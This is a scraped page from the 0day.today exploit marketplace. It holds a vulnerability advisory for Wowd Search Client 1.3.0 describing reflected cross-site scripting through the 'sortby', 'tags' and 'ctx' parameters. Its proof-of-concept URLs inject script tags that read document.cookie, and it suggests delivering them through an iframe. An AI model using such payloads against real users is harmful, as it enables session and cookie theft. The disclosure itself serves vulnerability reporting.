0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Wowd Search Client 1.3.0 XSS
[============================ Wowd Search Client 1.3.0 XSS ============================ ########################################## Wowd search client multiple variable xss Vendor URL: http://www.wowd.com/ Vendor notify:yes exploit available:yes ########################################## ################ What is Wowd? ################ Wowd is a real-time search engine for discovering what's popular on the web right now. In essence, the company has made a peer-to-peer search engine powered by what other Wowd users are looking at online rather than studying and ranking sites based on an arcane link structure. Taking search and breaking it into millions of tiny pieces all run by individual users who have downloaded the Wowd client completely changes the operation -- and economics -- of a search engine. The more times that someone in the Wowd crowd clicks on a link within a recent time frame, the higher the link's ranking. ########################## Vulnerability description ########################## Wowd client contains a flaw that allows a remote cross site scripting attack.This flaw exists because the application does not validate In the URI dialog 'sortby' 'tags' and 'ctx' variables upon submision to 'index.html' script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server,leading loss of integrity. This issue can be dangerous , because if you are running Wowd client , you have all of this vulnerabilities because this issue can be exploited accross all browsers, include ie8 with the XSS filter ( WoW ! ) ################# Versions ################· Wowd client 1.3.0 ################# SOLUTION ################# No solutions was available at this time !!! ################### Proof of Concept. ################### ############# Test ############# I test it in ie8, firefox 3.5.3 and safari 4 in all cases the xss is executed include ie8 with xss filter :D a remote user can compose a html document with a iframe and this source for the iframe: http://localhost:8101/wowd/index.html?search&sortby=rank%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E the browser executes the xss ,if you access directly to this url the xss is executed too. aditionaly wen wowd show his results , we have a functionality to add "tags" to a url. Example: http://localhost:8101/wowd/index.html?search&query=a& sortby=rank&tags=english|S0B0707656E676C6973680D02 this shows a indexed search with tag 'english' we can add a crafted tag that allow to execute a xss like:[tag]|[token] example: http://localhost:8101/wowd/index.html?search&query=a &sortby=rank&tags=english|S0B0707656E676C6973680D02, %22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E|S0B0707656E676C6973680D02 and it executed the xss in the tags labels. ctx variable is also afected too http://localhost:8101/wowd/index.html?search&page=2&q= &sortby=rank&tags=news|S0807046E6577730D02&ctx=1995393737681%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E # 0day.today [2024-11-14] #